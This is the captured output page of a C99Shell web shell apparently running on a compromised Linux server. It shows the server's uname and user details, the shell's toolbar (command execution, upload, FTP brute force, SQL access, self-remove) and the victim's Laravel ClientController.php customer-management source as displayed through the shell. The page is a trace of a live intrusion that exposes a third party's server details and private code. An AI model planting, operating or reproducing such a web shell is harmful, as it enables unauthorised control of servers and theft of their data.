!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.15 GB of 117.98 GB (24.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ClientController.php (7.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Exports\ClientsExport;
use 
App\Models\Client;
use 
App\utils\helpers;
use 
Carbon\Carbon;
use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Validation\Rule;
use 
DB;
use 
Illuminate\Http\Request;
use 
Maatwebsite\Excel\Facades\Excel;

class 
ClientController extends BaseController
{

    
//------------- Get ALL Customers -------------\\

    
public function index(request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Client::class);
        
// How many items do you want to display.
        
$perPage $request->limit;
        
$pageStart \Request::get('page'1);
        
// Start displaying items from this number;
        
$offSet = ($pageStart $perPage) - $perPage;
        
$order $request->SortField;
        
$dir $request->SortType;
        
$helpers = new helpers();
        
// Filter fields With Params to retrieve
        
$columns = array(=> 'name'=> 'code'=> 'phone'=> 'email');
        
$param = array(=> 'like'=> 'like'=> 'like'=> 'like');
        
$data = array();

        
$clients Client::where('deleted_at''='null);

        
//Multiple Filter
        
$Filtred $helpers->filter($clients$columns$param$request)
        
// Search With Multiple Param
            
->where(function ($query) use ($request) {
                return 
$query->when($request->filled('search'), function ($query) use ($request) {
                    return 
$query->where('name''LIKE'"%{$request->search}%")
                        ->
orWhere('code''LIKE'"%{$request->search}%")
                        ->
orWhere('phone''LIKE'"%{$request->search}%")
                        ->
orWhere('email''LIKE'"%{$request->search}%");
                });
            });
        
$totalRows $Filtred->count();
        if(
$perPage == "-1"){
            
$perPage $totalRows;
        }
        
$clients $Filtred->offset($offSet)
            ->
limit($perPage)
            ->
orderBy($order$dir)
            ->
get();

        return 
response()->json([
            
'clients' => $clients,
            
'totalRows' => $totalRows,
        ]);
    }

    
//------------- Store new Customer -------------\\

    
public function store(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'create'Client::class);

        
$this->validate($request, [
            
'name' => 'required',
            
'email' => Rule::unique('clients')->where(function ($query) {
                return 
$query->where('deleted_at''='null)->whereNotNull('email');
            }),
        ],[
            
'email.unique' => 'This Email already taken.',
        ]
    );

        
Client::create([
            
'name' => $request['name'],
            
'code' => $this->getNumberOrder(),
            
'adresse' => $request['adresse'],
            
'phone' => $request['phone'],
            
'email' => $request['email'],
            
'country' => $request['country'],
            
'city' => $request['city'],
        ]);
        return 
response()->json(['success' => true]);
    }

    
//------------ function show -----------\\

    
public function show($id){
        
//

    
}

    
//------------- Update Customer -------------\\

    
public function update(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'update'Client::class);
        
$this->validate($request, [
            
'email' => Rule::unique('clients')->ignore($id)->where(function ($query) {
                return 
$query->where('deleted_at''='null)->whereNotNull('email');
            }),

            
'name' => 'required',
        ]

        , [
            
'email.unique' => 'This Email already taken.',
        ]
    );

        
Client::whereId($id)->update([
            
'name' => $request['name'],
            
'adresse' => $request['adresse'],
            
'phone' => $request['phone'],
            
'email' => $request['email'],
            
'country' => $request['country'],
            
'city' => $request['city'],
        ]);
        return 
response()->json(['success' => true]);

    }

    
//------------- delete client -------------\\

    
public function destroy(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'delete'Client::class);

        
Client::whereId($id)->update([
            
'deleted_at' => Carbon::now(),
        ]);
        return 
response()->json(['success' => true]);
    }

    
//-------------- Delete by selection  ---------------\\

    
public function delete_by_selection(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'delete'Client::class);
        
$selectedIds $request->selectedIds;

        foreach (
$selectedIds as $Client_id) {
            
Client::whereId($Client_id)->update([
                
'deleted_at' => Carbon::now(),
            ]);
        }
        return 
response()->json(['success' => true]);
    }

    
//------------- Export  ALL Customers in EXCEL -------------\\

    
public function exportExcel(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Client::class);

        return 
Excel::download(new ClientsExport'Clients.xlsx');
    }

    
//------------- get Number Order Customer -------------\\

    
public function getNumberOrder()
    {
        
$last DB::table('clients')->latest('id')->first();

        if (
$last) {
            
$code $last->code 1;
        } else {
            
$code 1;
        }
        return 
$code;
    }

    
//------------- Get Clients Without Paginate -------------\\

    
public function Get_Clients_Without_Paginate()
    {
        
$clients Client::where('deleted_at''='null)->get(['id''name']);
        return 
response()->json($clients);
    }

    
// import clients
    
public function import_clients(Request $request)
    {
        
$file_upload $request->file('clients');
        
$ext pathinfo($file_upload->getClientOriginalName(), PATHINFO_EXTENSION);
        if (
$ext != 'csv') {
            return 
response()->json([
                
'msg' => 'must be in csv format',
                
'status' => false,
            ]);
        } else {
            
$data = array();
            
$rowcount 0;
            if ((
$handle fopen($file_upload"r")) !== false) {
                
$max_line_length defined('MAX_LINE_LENGTH') ? MAX_LINE_LENGTH 10000;
                
$header fgetcsv($handle$max_line_length);
                
$header_colcount count($header);
                while ((
$row fgetcsv($handle$max_line_length)) !== false) {
                    
$row_colcount count($row);
                    if (
$row_colcount == $header_colcount) {
                        
$entry array_combine($header$row);
                        
$data[] = $entry;
                    } else {
                        return 
null;
                    }
                    
$rowcount++;
                }
                
fclose($handle);
            } else {
                return 
null;
            }

            
$rules = array('email' => 'required|email|unique:clients');
            
//-- Create New Client
            
foreach ($data as $key => $value) {
                
$input['email'] = $value['email'];

                
$validator Validator::make($input$rules);
                if (!
$validator->fails()) {

                    
Client::create([
                        
'name' => $value['name'] == '' null $value['name'],
                        
'code' => $this->getNumberOrder(),
                        
'adresse' => $value['adresse'] == '' null $value['adresse'],
                        
'phone' => $value['phone'] == '' null $value['phone'],
                        
'email' => $value['email'] == '' null $value['email'],
                        
'country' => $value['country'] == '' null $value['country'],
                        
'city' => $value['city'] == '' null $value['city'],
                    ]);
                }

            }

            return 
response()->json([
                
'status' => true,
            ], 
200);
        }

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--